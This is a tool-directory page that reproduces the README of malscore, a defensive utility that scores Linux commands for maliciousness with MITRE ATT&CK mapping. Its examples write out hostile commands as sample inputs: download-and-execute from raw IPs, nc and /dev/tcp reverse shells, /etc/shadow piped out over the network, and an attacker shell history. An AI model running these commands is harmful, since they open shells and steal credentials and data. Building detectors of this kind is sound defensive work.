Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
malscore — Maliciousness scoring for Linux commands | Kitploit
Tools/GitHubGitHub/raj3shp/malscore
Defensive ToolsStatic AnalysisScripting & AutomationMalware AnalysisThreat IntelligenceIncident ResponseAnomaly DetectionLog Analysis
GitHubraj3shp/malscore

malscore

Maliciousness scoring for Linux commands

View Repository
13771 month agoNot yet reviewed
Share

🦠 malscore

PyPI version Python 3.8+ License: Apache-2.0 Zero dependencies MITRE ATT&CK mapped

malscore takes a Linux command line, or a session of commands such as a shell history, and returns a 0–100 maliciousness score with a verdict band and MITRE ATT&CK mapping:

command(s) → features → signals → score + MITRE mapping

It never executes, expands or resolves anything — it only reads the text (enforced by tests/test_safety.py). It has no dependencies beyond the Python standard library (3.8+).


Install

pip install malscore       # provides the `malscore` command

From a source checkout:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Quickstart

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

Python API

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) redacts credential-looking values before any command text is echoed back; scores are unaffected.


Examples:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

In a session file every non-blank line is one command, taken literally: there is no handling of comments, line continuations or here-documents. --batch is different: it scores each command of a JSON feed independently, with no cross-command analysis.


Verdict bands

scoreverdictmeaning
80–100criticalshape is rarely legitimate (reverse shell, disk wipe, uid‑0 account)
60–79highstrong evidence; review promptly
35–59mediumsuspicious in most contexts (curl‑pipe‑shell, shadow read)
15–34lowworth noting in combination
0–14benignroutine

The bands and weights are a hand-tuned starting point, not a trained model — every point of the score traces to a named signal and a MITRE ATT&CK technique.


How the score is built

  1. Features. The command is lexed (without executing anything), wrappers such as sudo/env/xargs are unwrapped, substitutions and -c payloads are descended into, and deterministic features are computed — download chains, paths touched, persistence surfaces, encoding tricks, and a tradecraft group (malscore/tradecraft.py) that recognises specific attacker techniques by shape.

  2. Signals. malscore/signals.py is a catalogue of ~120 named signals: a predicate over the feature record, a weight in (0, 1], a MITRE tactic and technique ids. A weight reads as "how likely is this hostile if it were the only thing we knew". The catalogue spans, by ATT&CK tactic:

    • execution — interpreter from a download, decoded payloads, TTY upgrades, fileless execution from /proc/self/fd;
    • credential access — /etc/shadow and private keys, cloud metadata, credential-keyword searches over config files, reads of .pgpass/.netrc/ cloud credential files, environment and history scraping, SSH-agent hijack;
    • privilege escalation — reverse shells, sudoers edits, setuid, container escape, interactive root shells, GTFOBins shell escapes, the sudo -u#-1 bypass, PATH hijacks;
    • collection / exfiltration — archives and database dumps, access to tables or files holding card numbers / tokens / customer data, regex hunts for card numbers and SSNs, DNS and encoded exfiltration, paste/webhook services;
    • defense evasion — history and log tampering, disabling EDR/audit, clearing immutable flags, /proc bind-mount hiding;
    • persistence / impact — cron, systemd, login hooks, disk wipes, fork bombs, miners, DROP TABLE, mass process kills.

    The generic sensitive-data rules (card/SSN patterns, database dumps, table names such as card, token, customer) ship on by default; tune the SENSITIVE_TABLE_RE vocabulary in malscore/tradecraft.py for your own data.

  3. Aggregation (noisy‑OR). Weights combine as 1 − ∏(1 − wᵢ), so many weak signals accumulate but never overflow and one strong signal dominates. Redundant signals that share a tactic are damped, so tripping three persistence checks is not counted as three independent findings.

  4. Sessions. Each command in a session is scored as above (its contribution capped at 0.9, so one noisy command does not make a long session critical), and then cross‑command signals look for patterns no single command shows — a file downloaded early and run later, data staged (dumped, archived or compressed) and later scp‑ed away, credential access after a privilege escalation, an upload after credential access, staged data deleted once sent, download plus persistence, activity followed by history/log clearing, or activity spanning three or more tactics.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →